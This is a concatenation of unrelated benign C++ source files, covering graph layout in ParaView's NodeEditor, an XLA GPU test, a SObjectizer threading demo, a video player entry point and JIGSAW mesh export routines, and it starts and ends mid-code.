std::move(PdfNoise); else fPdfNoise = nullptr; fInfos = std::string(TString::Format("%s_N%d_sim%d%s%s_%4.2f", IsLogic?"L":"P", NQbits, NSimulations, withEve?"_Eve_":"_", sigma<=1e-5?"quiet":"noisy", sigma)); } /// copy constructor ConfigSimulation::ConfigSimulation(const ConfigSimulation &source):fUseErrorCorrection(source.fUseErrorCorrection), fNQbits(source.fNQbits), fNSimulations(source.fNSimulations), fSigma(source.fSigma), fInfos(source.fInfos), fEveIsPresent(source.fEveIsPresent){ if(source.fSigma>1e-5) fPdfNoise = source.fPdfNoise; else fPdfNoise = nullptr; } FSXAC/Software #include "ball_filter.h" Ball BallFilter::getFilteredData(const Ball& current_ball_state, const std::vector& new_ball_detections) { if (new_ball_detections.empty()) { return current_ball_state; } SSLBallDetection filtered_detection = new_ball_detections[0]; Duration time_diff = filtered_detection.timestamp - current_ball_state.lastUpdateTimestamp(); // The direction of the velocity Vector ball_velocity = filtered_detection.position - current_ball_state.position(); // Set the magnitude based on the time minDiff ball_velocity = ball_velocity.norm(ball_velocity.len() / time_diff.getSeconds()); return Ball{filtered_detection.position, ball_velocity, filtered_detection.timestamp}; } /*========================================================================= Program: ParaView Plugin: NodeEditor Copyright (c) Kitware, Inc. All rights reserved. See Copyright.txt or http://www.paraview.org/HTML/Copyright.html for details. This software is distributed WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the above copyright notice for more information. =========================================================================*/ /*------------------------------------------------------------------------- ParaViewPluginsNodeEditor - BSD 3-Clause License - Copyright (C) 2021 See the Copyright.txt file provided with ParaViewPluginsNodeEditor for license information. -------------------------------------------------------------------------*/ #include "pqNodeEditorScene.h" #include "pqNodeEditorEdge.h" #include "pqNodeEditorNode.h" #include "pqNodeEditorUtils.h" #include #include #include #include #include #include #include #if NodeEditor_ENABLE_GRAPHVIZ #include #include #include #endif // NodeEditor_ENABLE_GRAPHVIZ // ---------------------------------------------------------------------------- pqNodeEditorScene::pqNodeEditorScene(QObject* parent) : QGraphicsScene(parent) { } QPointF pqNodeEditorScene::snapToGrid(const qreal& x, const qreal& y, const qreal& resolution) { const auto gridSize = pqNodeEditorUtils::CONSTS::GRID_SIZE * resolution; return QPointF(x - std::fmod(x, gridSize), y - std::fmod(y, gridSize)); } // ---------------------------------------------------------------------------- int pqNodeEditorScene::computeLayout(const std::unordered_map& nodes, std::unordered_map>& edges) { #if NodeEditor_ENABLE_GRAPHVIZ // compute dot string qreal maxHeight = 0.0; qreal maxY = 0; std::string dotString; { std::stringstream nodeString; std::stringstream edgeString; for (const auto& it : nodes) { pqProxy* proxy = it.second->getProxy(); const vtkIdType proxyId = pqNodeEditorUtils::getID(proxy); // ignore view and hidden nodes in pipeline layout if (!it.second->isVisible() || dynamic_cast(proxy) != nullptr) { continue; } const QRectF& b = it.second->boundingRect(); qreal width = b.width() / POINTS_PER_INCH; // convert from points to inches qreal height = b.height() / POINTS_PER_INCH; if (maxHeight < height) { maxHeight = height; } // Construct the string representing a node in the text-based graphviz representation of the // graph. // See https://www.graphviz.org/pdf/libguide.pdf for more detail std::string sInputPorts = ""; std::string sOutputPorts = ""; if (const auto proxyAsSource = dynamic_cast(proxy)) { for (int i = 0; i < proxyAsSource->getNumberOfOutputPorts(); i++) { sOutputPorts += "|"; } } if (const auto proxyAsFilter = dynamic_cast(proxy)) { for (int i = 0; i < proxyAsFilter->getNumberOfInputPorts(); i++) { sInputPorts += "|"; } } nodeString << proxyId << "[" << "shape=record," << "label=\"{{" + sInputPorts.substr(0, sInputPorts.size() - 1) + "}|{" + sOutputPorts.substr(0, sOutputPorts.size() - 1) + "}}\"," << "width=" << width << "," << "height=" << height << "" << "];\n"; // Construct the string representing all edges in the graph // See https://www.graphviz.org/pdf/libguide.pdf for more detail for (pqNodeEditorEdge* edge : edges[proxyId]) { edgeString << pqNodeEditorUtils::getID(edge->getProducer()->getProxy()) << ":getProducerOutputPortIdx() << "> -> " << pqNodeEditorUtils::getID(edge->getConsumer()->getProxy()) << ":getConsumerInputPortIdx() << ">;\n"; } } // describe the overall look of the graph. For example : rankdir=LR -> Left To Right layout // See https://www.graphviz.org/pdf/libguide.pdf for more detail dotString += "digraph g {\nrankdir=LR;splines = line;graph[pad=\"0\", ranksep=\"0.6\", " "nodesep=\"0.6\"];\n" + nodeString.str() + edgeString.str() + "\n}"; } std::vector coords(2 * nodes.size(), 0.0); // compute layout { Agraph_t* G = agmemread(dotString.data()); GVC_t* gvc = gvContext(); if (!G || !gvc || gvLayout(gvc, G, "dot")) { vtkLogF(ERROR, "[NodeEditorPlugin] Cannot intialize Graphviz context."); return 0; } // read layout int i = -2; for (const auto& it : nodes) { i += 2; pqProxy* proxy = it.second->getProxy(); if (dynamic_cast(proxy) != nullptr) { continue; } Agnode_t* n = agnode(G, const_cast(std::to_string(pqNodeEditorUtils::getID(proxy)).data()), 0); if (n != nullptr) { const auto& coord = ND_coord(n); const auto& w = ND_width(n); const auto& h = ND_height(n); auto& x = coords[i]; auto& y = coords[i + 1]; x = (coord.x - w * POINTS_PER_INCH / 2.0); // convert w/h in inches to points y = (-coord.y - h * POINTS_PER_INCH / 2.0); maxY = std::max(maxY, y); } } // free memory int status = gvFreeLayout(gvc, G); status += agclose(G); status += gvFreeContext(gvc); if (status) { vtkLogF(WARNING, "[NodeEditorPlugin] Error when freeing Graphviz ressources."); } } // set positions { int i = -2; for (const auto& it : nodes) { i += 2; if (dynamic_cast(it.second->getProxy()) != nullptr) { continue; } it.second->setPos(pqNodeEditorScene::snapToGrid(coords[i], coords[i + 1])); } } // compute initial x position for all views std::vector> viewXMap; for (const auto& it : nodes) { auto* proxyAsView = dynamic_cast(it.second->getProxy()); if (!proxyAsView) { continue; } qreal avgX = 0; auto edgesIt = edges.find(pqNodeEditorUtils::getID(proxyAsView)); if (edgesIt != edges.end()) { int nEdges = edgesIt->second.size(); if (nEdges > 0) { for (pqNodeEditorEdge* edge : edgesIt->second) { avgX += edge->getProducer()->pos().x(); } avgX /= nEdges; } } viewXMap.emplace_back(it.second, avgX); } // sort views by current x coord std::sort(viewXMap.begin(), viewXMap.end(), [](const std::pair& a, const std::pair& b) { return a.second < b.second; }); // make sure all views have enough space qreal lastX = VTK_DOUBLE_MIN; for (const auto& it : viewXMap) { const qreal width = it.first->boundingRect().width(); qreal x = it.second; if (lastX + width > x) { x = lastX + width + 10.0; } it.first->setPos(pqNodeEditorScene::snapToGrid( x, maxY + maxHeight + 2.0 * pqNodeEditorUtils::CONSTS::GRID_SIZE)); lastX = x; } return 1; #else // NodeEditor_ENABLE_GRAPHVIZ (void)nodes; (void)edges; return 0; #endif // NodeEditor_ENABLE_GRAPHVIZ } // ---------------------------------------------------------------------------- void pqNodeEditorScene::drawBackground(QPainter* painter, const QRectF& rect) { painter->setPen(pqNodeEditorUtils::CONSTS::COLOR_GRID); // get rectangle bounds const qreal recL = rect.left(); const qreal recR = rect.right(); const qreal recT = rect.top(); const qreal recB = rect.bottom(); // determine whether to use low or high resoltion grid const qreal gridResolution = (recB - recT) > 2000 ? 4 : 1; const qreal gridSize = gridResolution * pqNodeEditorUtils::CONSTS::GRID_SIZE; // find top left corner of active rectangle and snap to grid const QPointF& snappedTopLeft = pqNodeEditorScene::snapToGrid(recL, recT, gridResolution); // iterate over the x range of the rectangle to draw vertical lines for (qreal x = snappedTopLeft.x(); x < recR; x += gridSize) { painter->drawLine(x, recT, x, recB); } // iterate over the y range of the rectangle to draw horizontal lines for (qreal y = snappedTopLeft.y(); y < recB; y += gridSize) { painter->drawLine(recL, y, recR, y); } } #include using namespace std; int main() { int t, x, y; cin >> t; while (t--) { cin >> x >> y; if (x >= y || x > 3 || (x == 2 && y == 3)) cout << "YES\n"; else cout << "NO\n"; } return 0; } /* Copyright 2022 The TensorFlow Authors. All Rights Reserved. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. ==============================================================================*/ #include "tensorflow/compiler/xla/tests/hlo_test_base.h" namespace xla { namespace gpu { namespace { class InPlaceOpTest : public HloTestBase { // Don't override any flags. DebugOptions GetDebugOptionsForTest() override { return GetDebugOptionsFromFlags(); } }; TEST_F(InPlaceOpTest, DynamicUpdateSliceWithMultipleConsumers) { const char* hlo_text = R"( HloModule main ENTRY %main { %param_0 = s32[4,4] parameter(0) %constant_0 = s32[] constant(0) %constant_1 = s32[] constant(1) %constant_1x1_1 = s32[1,1] constant({ {1} }) %slice = s32[1,1] slice(%param_0), slice={[1:2], [0:1]} %add = add(%slice, %constant_1x1_1) %updated = s32[4,4] dynamic-update-slice(%param_0, %add, %constant_1, %constant_0) %transpose = s32[4,4] transpose(%updated), dimensions={1,0} ROOT %tuple = tuple(%transpose, %updated) } )"; EXPECT_TRUE(RunAndCompare(hlo_text, std::nullopt)); } } // namespace } // namespace gpu } // namespace xla /* * An example for demonstration of using receive from several threads. */ #include #include // Main SObjectizer header file. #include using namespace std; size_t get_workers_count() { auto c = thread::hardware_concurrency(); if( c > 2 ) // Decrement count of thread because one thread will be producer. c -= 1; else if( 1 == c ) // We must have at least two consumer threads. c = 2; return c; } void demo() { // Type of message to be received from every consumer thread as a result. struct consumer_result { thread::id m_id; size_t m_values_received; uint64_t m_sum; }; // A SObjectizer instance. so_5::wrapped_env_t sobj; // Message chain to be used for values speading between worker threads. auto values_ch = so_5::create_mchain( sobj, // Chain is size-limited with blocking of sender on overload. // Wait on overloaded mchain for 5min. chrono::minutes{5}, // No more than 300 messages in chain. 300u, // Space for mchain will be preallocated. so_5::mchain_props::memory_usage_t::preallocated, // What to do on overflow. // This value has no sence because we use too large time limit. // Because of that use hardest case. so_5::mchain_props::overflow_reaction_t::abort_app ); // Message chain to be used for results from consumers. // A very simple chain will be created for that. auto results_ch = create_mchain( sobj ); // Create workers. const auto workers_count = get_workers_count(); vector< thread > workers; workers.reserve( workers_count ); for( size_t i = 0; i != workers_count; ++i ) workers.emplace_back( thread{ [&values_ch, &results_ch] { // Receive all data from input chain. size_t received = 0u; uint64_t sum = 0u; receive( from( values_ch ), [&sum, &received]( unsigned int v ) { ++received; sum += v; } ); // Send result back. so_5::send< consumer_result >( results_ch, this_thread::get_id(), received, sum ); } } ); cout << "Workers created: " << workers_count << endl; // Send a bunch of values for consumers. for( unsigned int i = 0; i != 10000; ++i ) so_5::send< unsigned int >( values_ch, i ); // No more values will be sent. close_retain_content( values_ch ); // Receive responses from consumers. receive( // Exactly workers_count results expected. from( results_ch ).handle_n( workers_count ), []( const consumer_result & r ) { cout << "Thread: " << r.m_id << ", values: " << r.m_values_received << ", sum: " << r.m_sum << endl; } ); // All consumer threads must be finished. for_each( begin(workers), end(workers), []( thread & t ) { t.join(); } ); // SObjectizer will be stopped automatically. } int main() { try { demo(); } catch( const exception & ex ) { cerr << "Error: " << ex.what() << endl; } return 0; } jasonmray/JargonPlayer #include "MpvCommands.h" #include "ProgramOptions.h" #include "QuadrantLayout.h" #include "Util.h" #include "VideoWindow.h" #include "WindowManager.h" #include #include #pragma comment (lib, "sdl/lib/x64/sdl2.lib") #pragma comment (lib, "libmpv/lib/x64/mpv.lib") int findTopLeftDisplayIndex(){ int chosenDisplay = 0; int displayCount = SDL_GetNumVideoDisplays(); SDL_Rect chosenBounds = {}; SDL_GetDisplayUsableBounds(0, &chosenBounds); for(int i = 1; i < displayCount; i++){ SDL_Rect bounds = {}; SDL_GetDisplayUsableBounds(i, &bounds); if(bounds.x < chosenBounds.x || bounds.y < chosenBounds.y){ chosenBounds = bounds; chosenDisplay = i; } } return chosenDisplay; } int appmain(int argc, const char *argv[]){ SDL_Init(SDL_INIT_VIDEO | SDL_INIT_GAMECONTROLLER); SDL_DisableScreenSaver(); SDL_JoystickEventState(SDL_ENABLE); SDL_GameController* gameController = SDL_GameControllerOpen(0); ProgramOptions& programOptions = ProgramOptions::Instance; if(!programOptions.processOptions(argc, argv)){ return 1; } WindowManager windowManager(programOptions); const size_t fileCount = programOptions.files.size(); if(programOptions.openMode == ProgramOptions::OpenMode::Tile){ if(fileCount > 5){ // try to tile multi-monitor for(int i = 0; i < fileCount; i++){ auto window = windowManager.createWindow(); window->startPlayAsync(programOptions.files[i].c_str()); window->moveToQuadrant(i / 4, (QuadrantLayout::WindowQuadrant)(i%4)); } }else if(fileCount > 1){ // tile single-monitor int chosenDisplay = findTopLeftDisplayIndex(); for(int i = 0; i < fileCount; i++){ auto window = windowManager.createWindow(); window->startPlayAsync(programOptions.files[i].c_str()); window->moveToQuadrant(chosenDisplay, (QuadrantLayout::WindowQuadrant)i); } }else if(fileCount == 1){ // open a single file auto window = windowManager.createWindow(); window->startPlayAsync(programOptions.files[0].c_str()); }else{ // open an empty window windowManager.createWindow(); } }else{ // open a single window and enqueue everything auto window = windowManager.createWindow(); if(fileCount > 0){ window->startPlayAsync(programOptions.files[0].c_str()); for(size_t i = 1; i < fileCount; i++){ window->enqueueFile(programOptions.files[i].c_str()); } } } windowManager.pumpEvents(); SDL_EnableScreenSaver(); SDL_GameControllerClose(gameController); return 0; } src/msh_save.hpp /* -------------------------------------------------------- * MSH-SAVE: parse MESH data into *.MSH file. -------------------------------------------------------- * * This program may be freely redistributed under the * condition that the copyright notices (including this * entire header) are not removed, and no compensation * is received through use of the software. Private, * research, and institutional use is free. You may * distribute modified versions of this code UNDER THE * CONDITION THAT THIS CODE AND ANY MODIFICATIONS MADE * TO IT IN THE SAME FILE REMAIN UNDER COPYRIGHT OF THE * ORIGINAL AUTHOR, BOTH SOURCE AND OBJECT CODE ARE * MADE FREELY AVAILABLE WITHOUT CHARGE, AND CLEAR * NOTICE IS GIVEN OF THE MODIFICATIONS. Distribution * of this code as part of a commercial system is * permissible ONLY BY DIRECT ARRANGEMENT WITH THE * AUTHOR. (If you are not directly supplying this * code to a customer, and you are instead telling them * how they can obtain it for free, then you are not * required to make any arrangement with me.) * * Disclaimer: Neither I nor: Columbia University, The * Massachusetts Institute of Technology, The * University of Sydney, nor The National Aeronautics * and Space Administration warrant this code in any * way whatsoever. This code is provided "as-is" to be * used at your own risk. * -------------------------------------------------------- * * Last updated: 10 September, 2018 * * Copyright 2013-2018 * * * https://github.com/dengwirda/ * -------------------------------------------------------- */ # pragma once # ifndef __MSH_SAVE__ # define __MSH_SAVE__ /* -------------------------------------------------------- * SAVE-JMSH: save *.JMSH output file. -------------------------------------------------------- */ template < typename jlog_data > __normal_call iptr_type save_jmsh ( jcfg_data &_jcfg , jlog_data &_jlog , rdel_data &_rdel ) { iptr_type _errv = __no_error ; __unreferenced(_jlog) ; try { containers::array _nmap; std::ofstream _file ; std::string _path ; std::string _name ; std::string _fext ; file_part( _jcfg._mesh_file, _path, _name, _fext); _file.open( _jcfg._mesh_file, std::ofstream::out ); if (_file.is_open()) { if (_rdel._ndim == +2 && _rdel._kind == jmsh_kind::euclidean_mesh) { /*-------------------------- save 2-dim. mesh */ _file << "# " << _name << ".msh" << "; created by " ; _file << __JGSWVSTR "\n" ; _file << "MSHID=2;EUCLIDEAN-MESH \n" ; _file << "NDIMS=2 \n" ; _file << std::scientific ; _file << std::setprecision(16); /*------------ index mapping for active nodes */ _nmap.set_count(_rdel. _euclidean_rdel_2d._tria._nset.count() , containers::tight_alloc, -1) ; for (auto _iter = _rdel. _euclidean_rdel_2d._eset._lptr.head(); _iter != _rdel. _euclidean_rdel_2d._eset._lptr.tend(); ++_iter ) { if ( *_iter == nullptr) continue ; for (auto _item = *_iter ; _item != nullptr; _item = _item->_next ) { _nmap[_item->_data._node[0]]=1 ; _nmap[_item->_data._node[1]]=1 ; } } for (auto _iter = _rdel. _euclidean_rdel_2d._tset._lptr.head(); _iter != _rdel. _euclidean_rdel_2d._tset._lptr.tend(); ++_iter ) { if ( *_iter == nullptr) continue ; for (auto _item = *_iter ; _item != nullptr; _item = _item->_next ) { _nmap[_item->_data._node[0]]=1 ; _nmap[_item->_data._node[1]]=1 ; _nmap[_item->_data._node[2]]=1 ; } } iptr_type _last = +0; for (auto _iter = _nmap.head() ; _iter != _nmap.tend() ; ++_iter ) { if ( *_iter >= +0) { *_iter = _last ++ ; } } if (_rdel._euclidean_rdel_2d. _tria._nset.count() > 0) { /*-------------------------- write POINT data */ _file << "POINT=" << _last << "\n" ; iptr_type _npos = +0 ; for (auto _iter = _rdel. _euclidean_rdel_2d._tria._nset.head(); _iter != _rdel. _euclidean_rdel_2d._tria._nset.tend(); ++_iter, ++_npos) { if (_iter->mark() >= 0 && _nmap[_npos ] >= 0) { _file << _iter->pval(0) << ";" << _iter->pval(1) << ";" << +0 << "\n" ; } } } if (_jcfg._iter_opts.dual() ) { if (_rdel._euclidean_rdel_2d. _tria._nset.count() > 0) { /*-------------------------- write POWER data */ _file << "POWER=" << _last << ";1" << "\n" ; iptr_type _npos = +0 ; for (auto _iter = _rdel. _euclidean_rdel_2d._tria._nset.head(); _iter != _rdel. _euclidean_rdel_2d._tria._nset.tend(); ++_iter, ++_npos) { if (_iter->mark() >= 0 && _nmap[_npos ] >= 0) { _file << (real_type)0. << "\n" ; } } } } if (_rdel._euclidean_rdel_2d. _eset.count() > +0) { /*-------------------------- write EDGE2 data */ _file << "EDGE2=" << _rdel._euclidean_rdel_2d. _eset.count() << "\n" ; for (auto _iter = _rdel. _euclidean_rdel_2d._eset._lptr.head(); _iter != _rdel. _euclidean_rdel_2d._eset._lptr.tend(); ++_iter ) { if ( *_iter == nullptr) continue ; for (auto _item = *_iter ; _item != nullptr; _item = _item->_next ) { _file << _nmap[_item->_data._node[0]] << ";" << _nmap[_item->_data._node[1]] << ";" << _item->_data._part << "\n" ; } } } if (_rdel._euclidean_rdel_2d. _tset.count() > +0) { /*-------------------------- write TRIA3 data */ _file << "TRIA3=" << _rdel._euclidean_rdel_2d. _tset.count() << "\n" ; for (auto _iter = _rdel. _euclidean_rdel_2d._tset._lptr.head(); _iter != _rdel. _euclidean_rdel_2d._tset._lptr.tend(); ++_iter ) { if ( *_iter == nullptr) continue ; for (auto _item = *_iter ; _item != nullptr; _item = _item->_next ) { _file << _nmap[_item->_data._node[0]] << ";" << _nmap[_item->_data._node[1]] << ";" << _nmap[_item->_data._node[2]] << ";" << _item->_data._part << "\n" ; } } } } else if (_rdel._ndim == +3 && _rdel._kind == jmsh_kind::euclidean_mesh) { /*-------------------------- save 3-dim. mesh */ _file << "# " << _name << ".msh" << "; created by " ; _file << __JGSWVSTR "\n" ; _file << "MSHID=2;EUCLIDEAN-MESH \n" ; _file << "NDIMS=3 \n" ; _file << std::scientific ; _file << std::setprecision(16); /*------------ index mapping for active nodes */ _nmap.set_count(_rdel. _euclidean_rdel_3d._tria._nset.count() , containers::tight_alloc, -1) ; for (auto _iter = _rdel. _euclidean_rdel_3d._eset._lptr.head(); _iter != _rdel. _euclidean_rdel_3d._eset._lptr.tend(); ++_iter ) { if ( *_iter == nullptr) continue ; for (auto _item = *_iter ; _item != nullptr; _item = _item->_next ) { _nmap[_item->_data._node[0]]=1 ; _nmap[_item->_data._node[1]]=1 ; } } for (auto _iter = _rdel. _euclidean_rdel_3d._fset._lptr.head(); _iter != _rdel. _euclidean_rdel_3d._fset._lptr.tend(); ++_iter ) { if ( *_iter == nullptr) continue ; for (auto _item = *_iter ; _item != nullptr; _item = _item->_next ) { _nmap[_item->_data._node[0]]=1 ; _nmap[_item->_data._node[1]]=1 ; _nmap[_item->_data._node[2]]=1 ; } } for (auto _iter = _rdel. _euclidean_rdel_3d._tset._lptr.head(); _iter != _rdel. _euclidean_rdel_3d._tset._lptr.tend(); ++_iter ) { if ( *_iter == nullptr) continue ; for (auto _item = *_iter ; _item != nullptr; _item = _item->_next ) { _nmap[_item->_data._node[0]]=1 ; _nmap[_item->_data._node[1]]=1 ; _nmap[_item->_data._node[2]]=1 ; _nmap[_item->_data._node[3]]=1 ; } } iptr_type _last = +0; for (auto _iter = _nmap.head() ; _iter != _nmap.tend() ; ++_iter ) { if ( *_iter >= +0) { *_iter = _last ++ ; } } if (_rdel._euclidean_rdel_3d. _tria._nset.count() > 0) { /*-------------------------- write POINT data */ _file << "POINT=" << _last << "\n" ; iptr_type _npos = +0 ; for (auto _iter = _rdel. _euclidean_rdel_3d._tria._nset.head(); _iter != _rdel. _euclidean_rdel_3d._tria._nset.tend(); ++_iter, ++_npos) { if (_iter->mark() >= 0 && _nmap[_npos ] >= 0) { _file << _iter->pval(0) << ";" << _iter->pval(1) << ";" << _iter->pval(2) << ";" << +0 << "\n" ; } } } if (_jcfg._iter_opts.dual() ) { if (_rdel._euclidean_rdel_3d. _tria._nset.count() > 0) { /*-------------------------- write POWER data */ _file << "POWER=" << _last << ";1" << "\n" ; iptr_type _npos = +0 ; for (auto _iter = _rdel. _euclidean_rdel_3d._tria._nset.head(); _iter != _rdel. _euclidean_rdel_3d._tria._nset.tend(); ++_iter, ++_npos) { if (_iter->mark() >= 0 && _nmap[_npos ] >= 0) { _file << (real_type)0. << "\n" ; } } } } if (_rdel._euclidean_rdel_3d. _eset.count() > +0) { /*-------------------------- write EDGE2 data */ _file << "EDGE2=" << _rdel._euclidean_rdel_3d. _eset.count() << "\n" ; for (auto _iter = _rdel. _euclidean_rdel_3d._eset._lptr.head(); _iter != _rdel. _euclidean_rdel_3d._eset._lptr.tend(); ++_iter ) { if ( *_iter == nullptr) continue ; for (auto _item = *_iter ; _item != nullptr; _item = _item->_next ) { _file << _nmap[_item->_data._node[0]] << ";" << _nmap[_item->_data._node[1]] << ";" << _item->_data._part << "\n" ; } } } if (_rdel._euclidean_rdel_3d. _fset.count() > +0) { /*-------------------------- write TRIA3 data */ _file << "TRIA3=" << _rdel._euclidean_rdel_3d. _fset.count() << "\n" ; for (auto _iter = _rdel. _euclidean_rdel_3d._fset._lptr.head(); _iter != _rdel. _euclidean_rdel_3d._fset._lptr.tend(); ++_iter ) { if ( *_iter == nullptr) continue ; for (auto _item = *_iter ; _item != nullptr; _item = _item->_next ) { _file << _nmap[_item->_data._node[0]] << ";" << _nmap[_item->_data._node[1]] << ";" << _nmap[_item->_data._node[2]] << ";" << _item->_data._part << "\n" ; } } } if (_rdel._euclidean_rdel_3d. _tset.count() > +0) { /*-------------------------- write TRIA4 data */ _file << "TRIA4=" << _rdel._euclidean_rdel_3d. _tset.count() << "\n" ; for (auto _iter = _rdel. _euclidean_rdel_3d._tset._lptr.head(); _iter != _rdel. _euclidean_rdel_3d._tset._lptr.tend(); ++_iter ) { if ( *_iter == nullptr) continue ; for (auto _item = *_iter ; _item != nullptr; _item = _item->_next ) { _file << _nmap[_item->_data._node[0]] << ";" << _nmap[_item->_data._node[1]] << ";" << _nmap[_item->_data._node[2]] << ";" << _nmap[_item->_data._node[3]] << ";" << _item->_data._part << "\n" ; } } } } } else { _errv = __file_not_located ; } _file.close(); } catch (...) { _errv = __unknown_error ; } return ( _errv ) ; } /* -------------------------------------------------------- * SAVE-TRIA: save *.JMSH output file. -------------------------------------------------------- */ template < typename jlog_data > __normal_call iptr_type save_tria ( jcfg_data &_jcfg , jlog_data &_jlog , rdel_data &_rdel ) { iptr_type _errv = __no_error ; __unreferenced(_jlog) ; try { containers::array _nmap; std::ofstream _file ; std::string _path ; std::string _name ; std::string _fext ; file_part( _jcfg._tria_file, _path, _name, _fext); _file.open( _jcfg._tria_file, std::ofstream::out ); if (_file.is_open()) { if (_rdel._ndim == +2 && _rdel._kind == jmsh_kind::euclidean_mesh) { /*-------------------------- save 2-dim. mesh */ _file << "# " << _name << ".msh" << "; created by " ; _file << __JGSWVSTR "\n" ; _file << "MSHID=2;EUCLIDEAN-MESH \n" ; _file << "NDIMS=2 \n" ; _file << std::scientific ; _file << std::setprecision(16); /*------------ index mapping for active nodes */ _nmap.set_count(_rdel. _euclidean_rdel_2d._tria._nset.count() , containers::tight_alloc, -1) ; iptr_type _ntri = +0; for (auto _iter = _rdel. _euclidean_rdel_2d._tria._tset.head(); _iter != _rdel. _euclidean_rdel_2d._tria._tset.tend(); ++_iter ) { if (_iter->mark() < +0) continue ; _ntri += +1 ; _nmap[_iter->node(0)]=1; _nmap[_iter->node(1)]=1; _nmap[_iter->node(2)]=1; } iptr_type _last = +0; for (auto _iter = _nmap.head() ; _iter != _nmap.tend() ; ++_iter ) { if ( *_iter >= +0) { *_iter = _last ++ ; } } if (_rdel._euclidean_rdel_2d. _tria._nset.count() > 0) { /*-------------------------- write POINT data */ _file << "POINT=" << _last << "\n" ; iptr_type _npos = +0 ; for (auto _iter = _rdel. _euclidean_rdel_2d._tria._nset.head(); _iter != _rdel. _euclidean_rdel_2d._tria._nset.tend(); ++_iter, ++_npos) { if (_iter->mark() >= 0 && _nmap[_npos ] >= 0) { _file << _iter->pval(0) << ";" << _iter->pval(1) << ";" << +0 << "\n" ; } } } if (_rdel._euclidean_rdel_2d. _tria._tset.count() > 0) { /*-------------------------- write TRIA3 data */ _file << "TRIA3=" << _ntri << "\n" ; for (auto _iter = _rdel. _euclidean_rdel_2d._tria._tset.head(); _iter != _rdel. _euclidean_rdel_2d._tria._tset.tend(); ++_iter ) { if (_iter->mark() < +0) continue ; _file << _nmap[_iter->node(0)] << ";" << _nmap[_iter->node(1)] << ";" << _nmap[_iter->node(2)] << ";" << +0 << "\n" ; } } } else if (_rdel._ndim == +3 && _rdel._kind == jmsh_kind::euclidean_mesh) { /*-------------------------- save 3-dim. mesh */ _file << "# " << _name << ".msh" << "; created by " ; _file << __JGSWVSTR "\n" ; _file << "MSHID=2;EUCLIDEAN-MESH \n" ; _file << "NDIMS=3 \n" ; _file << std::scientific ; _file << std::setprecision(16); /*------------ index mapping for active nodes */ _nmap.set_count(_rdel. _euclidean_rdel_3d._tria._nset.count() , containers::tight_alloc, -1) ; iptr_type _ntri = +0; for (auto _iter = _rdel. _euclidean_rdel_3d._tria._tset.head(); _iter != _rdel. _euclidean_rdel_3d._tria._tset.tend(); ++_iter ) { if (_iter->mark() < +0) continue ; _ntri += +1 ; _nmap[_iter->node(0)]=1; _nmap[_iter->node(1)]=1; _nmap[_iter->node(2)]=1; _nmap[_iter->node(3)]=1; } iptr_type _last = +0; for (auto _iter = _nmap.head() ; _iter != _nmap.tend() ; ++_iter ) { if ( *_iter >= +0) { *_iter = _last ++ ; } } if (_rdel._euclidean_rdel_3d. _tria._nset.count() > 0) { /*-------------------------- write POINT data */ _file << "POINT=" << _last << "\n" ; iptr_type _npos = +0 ; for (auto _iter = _rdel. _euclidean_rdel_3d._tria._nset.head(); _iter != _rdel. _euclidean_rdel_3d._tria._nset.tend(); ++_iter, ++_npos) { if (_iter->mark() >= 0 && _nmap[_npos ] >= 0) { _file << _iter->pval(0) << ";" << _iter->pval(1) << ";" << _iter->pval(2) << ";" << +0 << "\n" ; } } } if (_rdel._euclidean_rdel_3d. _tria._tset.count() > 0) { /*-------------------------- write TRIA3 data */ _file << "TRIA4=" << _ntri << "\n" ; for (auto _iter = _rdel. _euclidean_rdel_3d._tria._tset.head(); _iter != _rdel. _euclidean_rdel_3d._tria._tset.tend(); ++_iter ) { if (_iter->mark() < +0) continue ; _file << _nmap[_iter->node(0)] << ";" << _nmap[_iter->node(1)] << ";" << _nmap[_iter->node(2)] << ";" << _nmap[_iter->node(3)] << ";" << +0 << "\n" ; } } } } else { _errv = __file_not_located ; } _file.close(); } catch (...) { _errv = __unknown_error ; } return ( _errv ) ; } /* -------------------------------------------------------- * SAVE-MSHT: save MSH_T output data. -------------------------------------------------------- */ template < typename jlog_data > __normal_call iptr_type save_msht ( jcfg_data &_jcfg , jlog_data &_jlog , rdel_data &_rdel , jigsaw_msh_t &_mmsh ) { iptr_type _errv = __no_error ; __unreferenced(_jlog) ; try { containers::array _nmap; if (_rdel._ndim == +2 && // save 2-dim. mesh _rdel._kind == jmsh_kind::euclidean_mesh) { _mmsh._flags = JIGSAW_EUCLIDEAN_MESH ; /*------------ index mapping for active nodes */ _nmap.set_count(_rdel. _euclidean_rdel_2d._tria._nset.count() , containers::tight_alloc, -1) ; for (auto _iter = _rdel. _euclidean_rdel_2d._eset._lptr.head(); _iter != _rdel. _euclidean_rdel_2d._eset._lptr.tend(); ++_iter ) { if ( *_iter == nullptr) continue ; for (auto _item = *_iter ; _item != nullptr; _item = _item->_next ) { _nmap[_item->_data._node[0]]=1 ; _nmap[_item->_data._node[1]]=1 ; } } for (auto _iter = _rdel. _euclidean_rdel_2d._tset._lptr.head(); _iter != _rdel. _euclidean_rdel_2d._tset._lptr.tend(); ++_iter ) { if ( *_iter == nullptr) continue ; for (auto _item = *_iter ; _item != nullptr; _item = _item->_next ) { _nmap[_item->_data._node[0]]=1 ; _nmap[_item->_data._node[1]]=1 ; _nmap[_item->_data._node[2]]=1 ; } } iptr_type _last = +0; for (auto _iter = _nmap.head() ; _iter != _nmap.tend() ; ++_iter ) { if ( *_iter >= +0) { *_iter = _last ++ ; } } if (_rdel._euclidean_rdel_2d. _tria._nset.count() > 0) { /*-------------------------- write POINT data */ jigsaw_alloc_vert2 ( &_mmsh._vert2, _last) ; jigsaw_alloc_reals ( &_mmsh._power, _last) ; iptr_type _npos = +0 ; iptr_type _nout = +0 ; for (auto _iter = _rdel. _euclidean_rdel_2d._tria._nset.head(); _iter != _rdel. _euclidean_rdel_2d._tria._nset.tend(); ++_iter, ++_npos) { if (_iter->mark() >= 0 && _nmap[_npos ] >= 0 ) { _mmsh._vert2._data[_nout]. _ppos[0] = _iter->pval(0) ; _mmsh._vert2._data[_nout]. _ppos[1] = _iter->pval(1) ; _mmsh._vert2. _data[_nout]._itag 